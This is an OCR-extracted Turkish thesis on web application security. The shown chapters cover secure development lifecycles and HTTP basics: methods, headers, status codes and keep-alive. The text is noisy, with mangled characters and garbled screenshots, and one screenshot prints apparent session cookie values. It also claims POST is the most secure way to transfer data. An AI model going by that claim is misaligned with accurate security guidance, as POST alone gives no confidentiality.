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WEB YAZILIMLARINDA GUVENLIK PROBLEMLERIi UZERINE
ARASTIRMA

OZET

Web uygulamalar1 genel olarak sonu¢ odakli ve hizli gelistirilme siirecine sahiptir.
Gelistirme aninda giivenlik kriterleri cogu zaman bilingli yada bilingsiz olarak
gbzardi edilir. Bu nedenle, gelistirilen uygulamalarin davranmasi gerektiginden farkli
sekillerde davranmasina neden olacak gilivenlik aciklarina olanak verilmektedir.
Gelistirilen web uygulamalarinda ki bu zafiyetler ise kotii niyetli kullanicilar i¢in bir
firsat olusturur. Web uygulamalarinin gelistirilmesinde yapilan bir diger yanlis ise
uygulamanin  giivenligi ile network katmanindaki gilivenligin  birbirine
karistirtlmasidir.  Firewall’in (giivenlik duvar1) web uygulamalarini korumadigi
bilinmelidir. Bu nedenle, gelistirilen uygulamalar i¢in mutlaka sizma ve guvenlik
testlerinin yapilmasi gereklidir.

Yukarida belirtilen zafiyet ile birlikte kotii niyetli kullanicilarin bulunmasi sistem
tizerinde bir takim risklerin olusmasina neden olur. Bu riskler ise sistem {izerinde ki
diger kullanicilara da sigrayabilmektedir. Risk’in tanimini asagidaki gibi verebiliriz:
Risk = Tehdit + Zafiyet

Tez yazzimindaki amag, web uygulamalarinda bulunan giincel zafiyetleri ele almak,
bu zafiyetlerin olugsmasina neden olan diisiince ve yaklagimlarin neler oldugunu
ogrenmek, bu yaklasimlara alternatif olarak neler yapilabilecegi ve zafiyetlerin
giderilmesi i¢in hangi 6nlemlerin alinabilecegini ifade etmek amacglanmaktadir.

Anahtar Kelimeler: Web uygulama giivenligi, SOL Enjeksiyonu, Siteler aras: Istek

Sahteciligi, Siteler Arast Betik Calistirma, Giivenli Soket Katmami, Ayni Kaynak
Politikas.
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RESEARCH ON PROTECTION SECURITY PROBLEMS IN WEB
APPLICATIONS

ABSTRACT

Web applications generally have a result-oriented and rapid development process. At
the development time, security criterion ignored consciously or unconsciously.
Therefore, it allows security vulnerabilities that will cause differently behave the
developed applications than they should behave. These vulnerabilities in developed
web applications provide an opportunity for malicious users. Another mistake made
in the development web applications is that the security application’s security is
confused with the network layer’s security. It should be known that Firewall (security
gateway) does not protect web applications. Therefore, it is absolutely necessary to
conduct infiltration and safety tests for the developed applications. The above
mentioned weakness and the presence of malicious users causes some risks on the
system. These risks can also spread to other users on the system. We can give the
definition of risk as follows:

Risk = Threat + Vulnerability

The goal of writing thesis is that to handle the current weakness in the web
applications, to learn what are the thoughts and approaches that cause these
weaknesses to occur, what alternatives can be made to these approaches and what
measures can be taken to eliminate weaknesses.

Keywords: Web Application Security, SQL Injection, Cross Site Request Forgery,
Cross Site Scripting, Secure Socket Layer, Same Origin Policy.
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1. GIRIS

“Diinyayt 80’lerde kablolarla, 90’larda bilgisayar aglariyla bagladik. Bugiinse
diinyayr yazihimlarla baglyoruz. Bu yazilimlarin giivenli bir sekilde tasarima,
gelistirilmesi ve uygulamaya sokulmas giiniimiiz evrimlesen diinyasi icin kritiktir”

(Mark Curphey, Microsoft iiriin gelistirme baskant ve OWASP kurucusu) [1].

Yazilim Giivenligi, statik olarak diisiiniilen bir kavramdan ziyade bir siiregten
ibarettir. Kullanicilarin ve sistemlerin yapmis oldugu en biiylik hatalardan biri de bir
iirtin veya destek alarak giivenligin saglandigina inanmalaridir. Alinan bir iirlin ile
glivenlik seviyesi tam olarak ¢oziimlenmez. Daha dogru olan yaklasim ise giivenlik
politikalar1 olusturmaktir. Kullanicilarin en son isteyecekleri durum, bilgilerinin
calinmasi, kisisel verilerinin kaybolmasidir. Giivenlik kavrami gibi yazilim
gelistirme kavrami da bir siiregtir. Bu siire¢: analiz, tasarim, planlama, kodlama, test,
kurulum, destek gibi boliimlere ayrilabilir. Higbir hata igermeyen yazilim %100
“giivenli yazilim” demek degildir. Ulasilmaz ve c¢alistirllamayan bir yazilim
disinda %100 giivenli yazilim yoktur. Gilivenli yazilim, giivenligi gbz ardi etmeden
tasarlanmisg, giivenlik kontrolleri ile gelistirilmis ve giivenli bir durumda kullanima
sunulmus yazilim demektir. Glivenli yazilim ile saldir1 riski hala bulunsa da, bu
durumdan &tiirii ortaya c¢ikacak problemlerin biiyiik oranda oniine gecilmis olunur
[1]. Yazilim gelistirme siireglerinde yapilan hatalardan biri de siiregler bittikten sonra
giivenlik adiminin gercgeklestirilmesidir. Siiregcler sonunda yapilacak giivenlik
lyilestirmeleri yetersiz kalacaktir. Bu nedenle gelistirme siireglerinin tamamina
yayilacak sekilde bir giivenlik politikast belirlenmeli ve her siire¢ igerisinde
politikanin gergeklestirildiginden emin olunmalidir. Giivenlik siirecinin yazilim
gelistirme siirecine entegre edilmesi islemi sonucunda Giivenli Yazilim Gelistirme
(GYG, secure SDLC - secure software development life cycle) silrecleri ortaya
cikmaktadir. Yapilan aragtirmalar ve edinilen tecriibelerden yola ¢ikarak GYG

siireclerinin maliyet ve zaman agisindan bir gereksinim oldugu ortaya ¢ikmaktadir.

Giivenlik politikasinin gelistirme siireglerine dahil edilmemesinden kaynakli ilerde
bir¢ok sorun, hata, zafiyet benzeri geri doniisler alinabilmektedir. Bu geri doniisler

sonucunda ise sistem lizerinde yama gelistirmek, test ve bakim gibi ekstra maliyet ve



zaman kaybina doniismektedir. Sonradan yapilan yama benzeri islemler gelistirme
aninda fark edilip diizeltilebilen durumlardan ¢ok daha fazla efor’a ihtiyag
duymaktadir. Ayrica yukar1 da ifade edilen sorun, hata, zafiyet benzeri geri doniisler
kurumun ve/veya sistemin imajini zedelemekle kalmayip hukuki agidan birtakim
sorunlara da yol agmaktadir. Yazilim gelistirme siirecine baglamadan dnce uygulama
yapisina ve eldeki kaynaklara uygun sekilde GYG stratejisi belirlenmeli ve

stratejinin gerektirdigi giivenlik aktiviteleri hayata gecirilmelidir.

GUnUmiizde bu amag i¢in bazi kurum ve kuruluslar bir takim araglar gelistirerek
farklh giivenlik ihtiyaclarina gore galisabilen esnek birtakim {irlinler ortaya ¢ikmuistir.
Bunlardan birkagt SAMM (Software Assurance Maturity Model), BSIMM (Build
Security in Maturity Model), Microsoft SDL (Security Development Life Cycle) gibi
calismalar 6n plana ¢ikmistir. Ornek olarak vermis oldugumuz tiim GYG’ler degisik
metotlar kullansalar da ortak amaclar1 web yazilimlarinin giivenligini bastan sona

saglamaktir [2].

Ozellikle OWASP (Open Web Application Security Project) projesi olan SAMM
acik kaynak olmasiin yaninda organizasyonlarin yapisina ve giivenlik ihtiyaglarina

gore uyarlanabilen bir model ortaya koymaktadir [1].



2. WEB SISTEMLERININ AMACLARI VE YAPISI

2.1 Web Sistemlerinin Gelisimi

* Ne : Word Wide Web a
*Ne Zaman : 1989 yilinda .
* Nerede : Cern
*Kim : Tim Bemmers-Lee
* Neden : Dokiman paylasimi
*Nasil :
- Olusturma ve bigimlendirmek igin
bir dil : HTML
- Bulmak/Erigsmek igin adres : URL
- Transfer etmek igin protokol : HTTP o o= = ®
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Sekil 2.1 : World Wide Web’in gelisimi

Internetin ilk ginlerinde www(word-wide-web) sadece statik belgeleri iceren web

sitelerinden olusmaktaydi. Tarayicilar, bu belgeleri goriintiillemek i¢in icat edildi.

X = O Lorem Ipsum - All the facts - Lipsum generator

LN ® Lorem Ipsum - All the fac m

< ] X f ® http://trlipsum.com/ 18MB  244/249 v [ || Qr Search Google A

0 -

s Lorem I]GSMWI

B

a "Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit..."

"Aciyl seven, arayan ve ona sahip olmak isteyen hig kimse yoktur. Nedeni basit. Cankd o aadir...”
Lovem Ipsut Nedir! Neden Kullanmz?
Lorem Ipsum, dizgi ve baski endustrisinde kullanilan  Yinelenen bir sayfa iceriginin okuyucunun dikkatini
migir metinlerdir. Lorem Ipsum, adi bilinmeyen bir  daditt@ bilinen bir gercektir. Lorem Ipsum
matbaacinin bir hurufat numune kitabi olugturmak  kullanmanmin amaci, surekll 'buraya metin gelecek,
Gzere bir yazi galerisini alarak karigtirdi§i 1500'lerden  buraya metin gelecek' yazmaya kiyasla daha dengeli
beri endustri standardi sahte metinler olarak  bir harf dadiimi saglayarak okunurlugu artirmasidir.
kullanlmigtir.  Begyuz  yil  boyunca varld@m  $u anda bircok masaistl yayinalk paketi ve web
surdurmekle  kalmamig, aymi  zamanda pek sayfa dozenleyicisi, varsayilan migir metinler olarak
degismeden elektronik dizgiye de sigramigtr.  Lorem  Ipsum  kullanmaktadir.  Ayrica  arama
1960'larda Lorem Ipsum pasajlari da iceren Letraset  motorlarinda 'lorem ipsum' anahtar sdzcukleri ile
yapraklarinin yayinlanmasi lle ve yakin zamanda Aldus ~ arama yapildidinda heniiz tasarim asamasinda olan
PageMaker gibi Lorem Ipsum suromleri iceren ok sayida site listelenir. Yillar icinde, bazen kazara,
masausti yayincilik yazilmlari ile poptler olmugtur. bazen bilingli olarak (6rnedin mizah katilarak), cesitli
sarumleri geligtiriimigtir.
o Nereden Gelir? Nereden Bulabilivim?
m Ol M <> Resel "~ 100%

Internetin ilk zamanlarinda bilginin serverdan tarayiciya dogru yollu bir akimi vard.

Cogu site kullanict kimligini dogrulamiyordu, c¢iinkii buna gerek de yoktu. Her

Sekil 2.2 : Static bilgi iceren web sitesi




kullaniciya ayni sekilde davraniliyor ve ayni bilgiler sunuluyordu. Bugln, www
onceki formundan neredeyse taninmaz haldedir. Web {izerinde olan sitelerin biiyiik

cogunlugu, aslinda uygulamalardir.

< W C Oy & hites/fwwwwikipedia.org/ + 0ja A |
A English Espaitol
+ 5275 D00+ arcies 1 264 D00+ arsicuios
=] BFH ; Deutsch
1038000+ £ i, o = 3
03 D+ 8 iy 1 063 000+ Aol
+ +
g o8
Pyccrmi g Ql 1 Fr.ar.qa-s
251 000 crateh v‘i L 1 50 OO0 articies
Italiano \ o # Portugués
1309 000+ voel e il A2 000+ anigos
254 Polski

208 000+ HE # 150 000+ hasel

Sekil 2.3 : Tipik bir web uygulamasi

Bu uygulamalar islevsel olup bilginin server ve tarayici arasinda 2 yolla akimina
dayanmaktadir. Bu uygulamalar kayit ve giris, finansal islemler, arama, kullanicilarin
kendi igeriklerine yetkileri dahilinde erisim imkanlarini destekler. Bilginin ¢ogu 6zel
ve yuksek hassasiyetdedir. Guvenlik bu yiuzden 6nemli bir konudur [3]. Hickimse
sahsi bilgilerini yetkisiz kullanicilara gdsteren web uygulamasmi kullanmay1
istemez. Her uygulama kendi icerisinde farklidir ve benzersiz giivenlik agiklari
icerebilir. Uygulamalarin ¢ogu, yazilim gelistiricileri tarafindan sadece kod
icerisinde olusabilecek kismi giivenlik sorunlarini anlayarak in house olarak
gelistirilmektedir. 15 yi1l 6nce eger para transfer etmek istersek, bankaya gitmeli ve
vezneci tarafindan para transferini ger¢eklestirmeli oluyorduk. Bugiin ise gerekli web

uygulamasini kullanarak para transferi islemini kendimiz gergeklestire biliyoruz.
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Sekil 2.4 : Istemci-sunucu mimarisi

2.1.1 Web uygulamalarin ortak fonksiyonlari
Web uygulamalar1 online islemler yapa bilmemiz i¢in pratik faydali fonksiyonlari

yerine getirmek i¢in olusturulmuslar.
Son yillardaki bazi web uygulama fonksiyonlar1 agagidaki gibidir:
e Aligveris (Amazon)
e Sosyal Ag (Facebook)
e Web Arama (Google)
e Web Mail (Gmail)

Baz1 teknik faktorler interneti nasil kullanmamiz gerektigi sayesinde meydana
gelmistir. HTTP, ana iletisim protokolu, www'ya erismek i¢in kullanilmaktadir. Bu
protokol iletisim hatalar1 durumunda esneklik saglar ve her kullanici i¢in sunucuya
baglanip ayr1 bir yetki agmak ihtiyacini ortadan kaldirir [3]. HTTP, ayrica her hangi
bir ag yapilandiriimasinda gilivenli baglantiya izin verir. Web uygulamalarini
gelistirmek i¢in kullanilan ana teknoloji ve diller nispeten basittir. Platform ve
gelistirme toollarinin  genis cesitte olmasi yeni baslayanlar tarafindan giicli
uygulamalar gelistirmek i¢in imkan saglamaktadir. Bunlara ek olarak genis miktarda

acik kaynak kod ve bagka kaynaklar da mevcuttur.



2.2 Web Sistemlerinin Yapisi

Web, bilgisayar, yazict vb sistemlerin bir arada calistigi bir sistemdir. Milyarlarca
istemci (Mozilla, Safari, IE) ve sunucu (WebServer, Apache) ile birlikte kablolu

ve/veya kablosuz aglar sayesinde birbiri ile iletisimde bulunurlar.

l istemci /—\E istemci
a E
\ Sunucu /

y &
l Istemci ’ Istemci

Sekil 2.5 : Web tizerindeki ag yapisi

Sunucu, istemci’den gelen istekleri karsilar ve istemciye istedigi kaynadi geri
dondiiriir. Web tarayicilar gibi istemciler kullanicilarin talep ettikleri kaynaklar i¢in
sunucuya istekte bulunur. Web sunucusu gelen istegi karsilar, kaynagi arar ve
istemci’ye cevap olarak ilgili kaynagi iletir. Istek yapilan kaynak tipi, HTML sayfasi,
resim, ses dosyast veya PDF dokiimani olabilir. Sunucu, istemcinin istekte
bulundugu kaynagi bulamiyor ise istemciye “404 Not Found” hatasi dondiiriir.
Sunucu, fiziksel makine(donanim) veya web sunucu uygulamasi(yazilim) olabilir.

Client, tarayici uygulamalar1 ve insanlar olabilir.
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Sekil 2.6 : Sunucu ile Istemci iletisimi

Tarayici, sunucu ile iletisimin nasil kurulacagini bilen yazilimlardir. Tarayicilarin
diger bir 6nemli gorevi de alinan HTML cevabin1 yorumlayarak kullaniciya web

sayfasini sunmaktir.

. Tarayicl, istedi formatlar ve
. Kullanict tarayicida link'e tiklar. sunucuya goénderir.

b_ >
'm =

Tarayici, kaynad alirve Sunucu, istekte bulunan kaynad

yorumlayarak kullaniciya sunar. Tarayici arar ve tarayiciya iefr

v

Kullanici
Sunucu

Sekil 2.7 : Sunucudan talep edilen kaynagin alinmasi

HTML (HyperText Markup Language), alinan kaynakta ki i¢erigin kullaniciya nasil
sunulmas1 gerektigini ifade eden isaretleme dilidir. Tarayicilar, HTML kodunu
yorumlayarak kullaniciya sunar. HTML isaretleme dili, etiket(tag) ve etiketlerin

sahip oldugu 6zelliklerden(attribute) olugsmaktadir.
Ornek olarak; <form></form> etiketi ve form etiketinin action 6zelligi verilebilir.

HTTP (HyperText Transfer Protocol), istemci ve sunucu arasinda ki iletisimin
kurulmasini saglayan protokoldiir. iletisim, istemcinin istegi ve sunucunun cevabr ile
gerceklesir. Istemci, HTTP istek ile istedigi kaynag sunucuya gonderir, sunucu ise
HTTP cevap ile istenilen kaynagi dondiiriir. HTTP protokolii, TCP/IP katmaninda

calisarak bu gorevi gergeklestirir.

TCP (Transmission Control Protocol), bilginin dogru bir sekilde iletilmesinden, IP

(Internet Protocol) ise istemci ve sunucunun adresinin bulunmasindan sorumludur.



Internet’e giris yapmak i¢in kullanilan ana iletisim protokolu olup, web uygulamalari

tarafindan kullanilmaktadir.

Iki cesit HTTP mesaj igerigi vardir. Bunlardan biri istek(request), digeri ise
yanit(response)'dur. Protokol temelde baglantisizdir (connectionless). HTTP transfer
mekanizmasi i¢in TCP protokolunu kullanmasina ragmen, her degisen istek icin yeni
bir TCP baglantis1 agilmaktadir. Yani tarayici server'a bir baglant1 hazirlayip server'a
gonderiyor, server'dan cevabi alip baglantiy1 kapatiyor. Baska sozle, baglanti sadece
tek bir request/response i¢in gegerli olmaktadir. Ciinkii baglantit devam etmemekte,
sunucu Onceki istegi gonderen tarayicinin ikinci istegini tanimamaktadir. Sunucu her

istegin yeni bir tarayiciya ait oldugunu varsaymaktadir [3].
HTTP Istek Yapisi ve Cesitleri

Tim HTTP mesajlar1 (requests ve responses) genel olarak asagidaki boliimlerden

olusmaktadir:
1. Request veya Response i¢in degisen ilk satir.
2. Bir veya daha fazla baslik (header).
3. Bos bir satir.
4. Opsiyonel bir mesaj bélimu (message body).

HTTP metotlar server ile client arasinda iletilen veriler iizerinde islem yapilmasini

saglar.

HTTP metotlar::
e GET
e POST
e PUT
e DELETE
e TRACE
e OPTIONS

Burada 6rnek olmasi agisindan sadece GET ve POST HTTP metodlarini ele alacagiz.
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Temelde birinin digerine gore bariz bir iistiinliigli yoktur. Fakat kullanim yerine gore
avantaj ve dezavatajlar1 vardir. Ozellikle, GET metodu ile gonderilecek verinin

boyutunun POST ile gonderilecek olana gore az ve sinirli olmasidir.

GET metodu, URL iizerinden gonderdigimiz veya gonderecegimiz degerler igin
kullanilir. POST metodu ile gonderdiklerimiz ise URL iizerinde goziikmez [3]. GET
ile gonderilecek karakter sayis1 limitlidir, tarayiciya gore degisir, genelde birka¢ bin
karakter icerebilir. GET metodu genelde basit istekler, sunucudan bilgi almak, bir

kaynagin ¢agirilmasi amagl kullanilir. En ¢ok kullanilan HTTP talebidir.

Genelde uygulamamizin bir sayfasini ¢alistirdigimizda ve o sayfadan baska bir

sayfanin ¢aligmasini isteyecegimiz anda (link i¢in) GET metodunu kullaniriz.

Standart bir HTTP istegi asagidaki gibidir:

https://www.google.com.tr/?gws_rd=ssl

Sekil 2.8 : Standart bir HTTP istegi

% | Headers | Preview Response Cookies Timing

¥ General
Request URL: https://www.google.com.tr/?gws rd=ssl
Request Method: GET
Status Code: @ 200
Remote Address: 216.58.212,3:443

¥ Response Headers
alt-sve: quic=":443"; ma=2592000; v="36,35,34"
cache-control: private, max-age=8
content-encoding: gzip
conktent-type: text/html; charset=UTF-8
date: Mon, 21 Nov 2016 86:44:49 GMT
expires: -1
Server: gws
status: 200
x-frame-options: SAMEORIGIN
X-xss-protection: 1; mode=block

¥ Request Headers
:authority: www.google.com.tr
:method: GET
:path: /7gws rd=ss1
scheme: https
accepk: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8
accept-encoding: gzip, deflate, sdch, br
accept-language: en-US,en;q=0.8
cache-control: max-age=0
cookie: SID=pQ0adwlPyplMmtBPMKsxGks TwIwcbD0kY1PEE101nZEdDZHT jalnSYHxTKvOKp3EXjdTrd. ; HSID=AAKcc-tAzzqubNFVU; S5I
D=ApkFZ307Rxkx5ETgE; APISID=6kzsT21e32088vVp2/A0BPSpGzKyAZNIIZz; SAPISID=byoTM jXiglHIOna/AZ4LgmeAUCmYLlxnvS; MID
=91=01iMCxKDHC - XALrWZ fRCDu9Mx cSWRoSRecUHhDFnCaiFfiPyfxhMdLeg SMWwIxSOVINLITSE3hIlujLp2gPan1EZzohufIfxKriUSDBH3UIS3
U2R70TjYRZHSdHcALUXSME zb9c JIMTEY Xgwx j TwYFGaZA2 iH1aDBBOkpEEMAVF rAGE - QeGvpCBG0G63Wgo89NgEIWDSBq THMFptOnFCA7 ZAgH -
9q28aAkI rSyNdilg
upgrade-insecure-requests; 1
user-agent: Mozilla/5.8 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.8.2785.148 Safari/5
37.36 Viv/1.4.589.38

Sekil 2.9 : HTTP istek ve cevap yapisi
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Her bir HTTP isteginin ilk satir1 (istek satir1) bir birinden bosluk ile ayrilan 3

maddeden olugsmaktadir:

. HTTP metodunun tipi. Yaygm olarak kullanilan metod GET'dir. Bu metod

sunucudan istenilen kaynag1 geri dondiiriir. Get isteginin mesaj boliimii yoktur.

Istek URL. URL kaynagmn isminden ilave, tarayicidan istenilen kaynaga gonderilen
istege bagli query srting adlanan parametrelerden de olusabilir. Query String
URL'de? Isareti ile gosterilir. Yukaridaki resimde gosterilmis URL'de query string

parametre olaram name olarak gws_rd ve value olarak da ssl degerini almistir.

Kullanilan HTTP versiyonudur. Internet {izerinde sadece yaygin olarak kullanilan
HTTP versiyonlar1 1.0 ve 1.1 'dir ve ¢ogu tarayicilar default olarak 1.1 versiyonunu
kullantyor. 1.0 ile baglanti yaptigimizda her istek icin ayr1 bir baglanti agmak

gerekiyor. 1.1 de ise tek baglant1 iizerinden istedigimiz kadar istek yollayabiliyoruz.
Yukarida verilmis olan 6rnek istek ile ilgili baz1 noktalar vardir:

Referer bashigi, istekde bulunan URL'in kokenini gosterir. Ornegin, kullanici sayfa

tizerinde herhangi bir linke tiklaya bilir.

User-Agent basligi, istek lireten tarayici veya browser hakkinda bilgi tastyor. Cogu
tarayicilar tarihi nedenlerden dolayr Mozilla prefixsini dahil ediyor. User-Agent
stringi orijinal dominant Netscape tarayicisi tarafindan kullanilir ve diger tarayicilar

bu standarda uygun olduklarini gostermek i¢in onu kullanmaktadir.

Host basligi, erisilmek istenilen full URL'deki host ismini belirtiyor. Bu baslik bircok
site ayn1 sunucu iizerinde barindirildiginda 6nemli olur, ¢iinkii, genelde istegin ilk

satirinda génderilen URL host ismini igermemektedir.

Cookie bagligi, sunucunun tarayici i¢in hazirladigi ilave parametreleri gondermek

icin kullaniliyor.

Post Istegi ise, karmasik istekler ve dzellikle form alanlarina girilmis olan verileri
uygulamaya gondermek igin kullandigimiz bir metottur. Bu gonderim, form

alanlarinin ismi ile kullanici tarafindan bu alanlara girilmis olan degerlerin
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olusturdugu bir grupu i¢ermektedir. Bu metod ile veri gizli gonderildigi igin

kullanicinin veri transferine miidahalesi s6z konusu degildir.

Bundan dolay1 da veri transferinde kullanilan en giivenli metoddur. Parametreler

mesaj govdesine konulur. Asagidaki resimde tipik bir post istegi gosterilmistir [3].

| <form action="login_jsp" method="post" >
<input name="username" type="text" />
<input name="password" type="password" />

| </fform>

POST login.jsp HTTP/1.1
Host: avm.com
username=hale&password=1234

Sekil 2.10 : POST istegi.

Cizelge 2.1 : GET ve POST metodlarinin karsilastirilmast

# GET POST
Guvenlik Daha az guvenli Daha ¢ok guvenli ( ¢clnku
parametreler tarayicinin gegmisine
kaydedilmiyor veya web server
loglarinda tutulmuyor )
Gonderilen Istek URL'in izin verdigi kadar Sinirsiz
Parametreleri (mak. 2048 karakter)

Gonderilen Bilgi Tipi Yalnizca ASCII karakterler

Sinirsiz, binary bilgi de génderilebilir

Geri Butonu Davranis Istek bastan olusturulur Tarayic1 kullaniciy: istegin yeniden
olusturulacagina dair uyarir
Bookmark Bookmark yapilabilir Bookmark yapilamaz
History (Gegmis) Parametreler tarayicinin Parametreler tarayicinin gegmisinde
gecmisinde kaliyor kaydedilmiyor

Visibility (Goranlrlik) | Veri URL'de herkese gorinur

Veri URL'de goruntilenmiyor

HTTP Cevap Yapusi ve Cegsitleri ve Durum Kodlar: (Status Codes)

Cevaplar, durum kodlariyla (HTTP status code) baslarlar. GET/POST gibi metotlara

karsin, sunucudan durum kodlari doner [4]. Durum kodlar1 {i¢ haneli sayilardan

olusur. Ilk rakam cevabin hangi genel kategoriye diistiigiinii belirtir. Bu kategorileri

asagidaki gibi siralayabiliriz:
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e 1xx Bilgi vermek amach

e 2xX Basaril1 istek

e 3xx Client'n baska bir URL'e yonlendirilmesi
e 4xx Client tarafl1 hata

e 5xX Sunucu tarafli hata

Sadece 0Ozel sartlarda kullanilan ¢ok sayida durum kodlar1 vardir. Karsilagilmasi

muhtemel olan durum kodlar1 asagidaki gibidir:

Cizelge 2.2 : HTTP Durum kodlar1

Durum Kodu Durum Ag¢iklamasi

100 Continue (Devam) Sunucu istegin ilk boliimiini aldigini ve geri kalanini bekledigini
belirtmek icin bu kodu déndurlr. Sunucu istek tamamlandiginda ikinci
cevabi yolluyor.

200 OK (Basaril) Sunucunun istenilen kaynagi basarili bir sekilde dondiirmesi anlamina
gelir.
201 Created Istegin basarili oldugunu ve sunucuda yeni bir kaynak olustugunu
( Olusturuldu ) gosteriyor.
301 Moved Permanently | Tarayici Location basliginda belirtilen farkli bir URL'e yonlendirilir.
(Kalic1 olarak URL Tarayici gelecekte orijinal URL yerine yeni URL'i kullanmalidir.
tasindi)

302 Found (Gegici olarak | Sunucu su anda istege farkli bir konumda bulunan bir sayfayla yanit
URL tasind1) veriyor; ancak istekte bulunanin gelecek istekler i¢in 6zgiin konumu
kullanmaya devam etmesi gerekiyor.

304 Not Modified Istenen sayfa, son istekten bu yana degistirilmedi. Sunucu bu yaniti
(Degistirilmedi) dondiirdiigiinde sayfanin igerigini dondiirmez.

400 Bad Request (Yanlis Sunucu istegin s6z dizimini anlamadi. ( URL'de bosluk karakterinin

istek) konulmasi gibi ).
401 Unauthorized Bu istek i¢in kimlik dogrulamasi gerekiyor. Sunucu giris yapmadan
(Yetkilendirilmemis) goriintiilenemeyen sayfa i¢in bu yanit1 dondiirebilir.
403 Forbidden (Yasak) Kimseye istekte bulunan kaynaga erisime izin verilmiyor.
404 Not Found Sunucu istenen sayfay1 bulamiyor. Ornegin, istek, sunucuda
(Bulunamadi) bulunmayan bir sayfa i¢in yapilmissa, sunucu genellikle bu kodu
dondrr.
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Durum Kodu Durum Ac¢iklamasi

413 Request Entity Too Eger istekte suncuuya uzun string datas1 gonderiyorsak, sunucu bu
Large (Istek varlig1 cok istegi isleyemeyecegi durumlarda bu durum kodunu doner.
blyuk)

Tipik bir HTTP cevabi (response) asagidaki gibidir:

®  Headers Preview Response Cookies Timing

» General

¥ Response Headers
alt-svc: quic=":443"; ma=2592808; v="36,35,34"
cache-control: private, max-age=08
content-encoding: gzip

content-type: text/html; charset=UTF-8
date: Mon, 21 Mov 2016 86:58:56 GMT
expires: -1

server: gws

status: 200

x-frame-options: SAMEORIGIN
¥-¥ss-protection: 1; mode=block

» Request Headers (11)
» Query String Parameters (1)

Sekil 2.11 : Tipik bir HTTP cevabi

Her bir HTTP cevabinin ilk satir1 bosluk ile bir birinden ayrilan 3 maddeden

olusmaktadir:
1. Kullanilan HTTP versiyonu.

2. Yapilan istegin sonucunu gosteren sayisal durum kodu. 200 en genel durum kodudur.
Anlami, yapilan istege karsi, geri donen cevabin basarili oldugunu ve istenen

kaynagin bulundugu anlamina gelmektedir.

3. Cevabin durumunu agiklayan metinsel “neden ifade™'si.
Yukarida verilmis 6rnek ile ilgili baz1 diger noktalar da vardir [3]:
Server bagligi, kullanilan web server yazilimini gosteriyor.

Set-Cookie basligi, sunucudan tarayiciya bir cookie bilgisi gonderilmesini, ve daha
sonra bu bilginin bu sunucuya olan sonraki isteklerde Cookie basligi altinda

gonderilmesini gosteriyor.
Pragma basligi, cevabi 6nbellek'de (cache) tutmamasi igin tarayicini bilgilendiriyor.

Neredeyse tim HTTP cevaplar1 basliklardan sonra bos ¢izgi ile ayrilan mesaj

govdesinden olusuyor. Content-type bashigi, bu mesajin govdesinin HTML
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dokiimanindan olustugunu gdsteriyor. Content-Length basligi ise, mesajin

govdesinin ka¢ byte uzunlugunda oldugunu gosteriyor.
HTTP Basliklar

HTTP ¢ok sayida baslik (header) destekliyor. Bazi bagliklar hem isteklerde hem de

cevaplarda kullanilir ve bazilar1 ise mesaj tipierine 6zeldir.
Genel Basliklar

Connection basligi, baglantiyr ne kadar siire agik tutacagini gosteriyor. Keep-Alive
istemci ve tarayici arasinda kalic1 baglantiy1 aralikli kesintiden koruyor [5]. HTTP
Keep-Alive veya kalict baglanti (persistent connection) olarak da biliniyor. Bu her
yeni istek i¢in yeni bir baglanti agilmasi yerine tiim baglantilarin ayn1 TCP {izerinden

saglanmasina olanak sagliyor.

KEEP ALIVE HTTP

;
fa

-

A\ VI VA 1 1
D M M s s ™ D
. —

]

Sekil 2.12 : HTTP Keep Alive Yapist

Varsayilan HTTP baglantis1 genellikle her istek tamamlandiktan sonra kapaniyor,
yani sunucu cevabi teslim ettikten sonra TCP baglantisin1 kapatiyor. Coklu istekler

icin baglantiy1 agik tutmak i¢in, keep-alive basligt kullanila bilir [5].

HTTP Keep-Alive olmadan nasil ¢calistyor?

1. Istemci sunucu ile etkilesim kurmak ve dosyayi almak i¢in yeni bir baglanti

olusturmalidir.

2. Istemci yeni baglantiy1 kullanarak HTMP sayfas1 isteginde bulunuyor ve bu

baglant1 dosyay1 aldiktan sonra sona eriyor (terminate).

3. Tarayict bu HTML dosyasint yorumluyor ve tiim sayfayr gostermek icin

baska dosyalarin gerekip gerekmedigini kontrol ediyor.
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4. Kapsamli bir analizden sonra, istenen dosyalarin her biri i¢in yeni baglanti

olusturuyor.

5. Tek bir HTML sayfasi tim web sayfasini olusturan c¢esitli kaynaklar
icerebilir. Bu kaynaklara htmHTML kodu, CSS dosyalari, JS dosyalari,
resimler ve multimedya dosyalarini gosterebiliriz. Ornek olarak, eger HTML
4 CSS, 2 JS dosyasi ve 3 resimden olusursa, bu dosyalar1 almak icin ilave
olarak 9 istegin olmasi gerektigini gosteriyor. Ama bu mekanizma cok

verimsizdir, 6zellikle karmagik web sayfalarinin ¢ok sayida elemanlar1 varsa
[5].
KEEP-ALIVE ihtiyact

Cok sayida baglant1 olusturmak yiikleme siiresini azalta bilir. Ayrica sunucu iizerinde
bircok kaynak kullanilir. Tiim bu dosyalarin aktarimin1 Keep-Alive '1 enable (aktif)
ederek defalarca yeni baglanti agip kapamak yerine tek bir baglanti iizerinden
yapabiliriz [5]. Eger bu baglant1 aktif degilse, o zaman web sayfasini goriintiilemek

oldukca uzun surebilir.
KEEP-ALIVE faydalar

CPU kullanimini azaltiyor: Yeni TCP baglantilart olusturmak i¢in CPU ve bellek
kullanim1 gibi ¢oklu kaynaklar kullanila bilir. Baglantin1 kalict yaparak kaynak

kullanimini azalta biliriz.

Web sayfasint hizlandirmak: Coklu dosyalar ayni1 baglantiy1 kullanmakla gecikmeyi

azalta bilir ve web sayfalarinin daha hizli yliklenmesine izin verir.
HTTPS: Bu baglanti sekli i¢in Keep-Alive 6zelliginin aktif edilmesi tavsiye edilir.

Sonug¢ olarak, modern tarayicilarin hepsi kalici baglantiy1 kullaniyor. Bunu
uygulamamizdan ve proxy server ayarlarindan kontrol ede biliriz. HTTP/10. Aksine

HTTP/1.1 versiyonunda, bu baglant1 sekli varsayilan olarak agik geliyor.

Content-Encoding, mesaj govdesindeki icerik i¢in kullanilan gzip gibi bazi
uygulamalar tarafindan hizli aktarim i¢in cevaplar1 sikistirmada kullanilan encoding
tirind belirliyor. Hale’ni x ile evez edip her gegen yerde x yazarak gagirmak

sikigtirma algoritmasina drnektir.
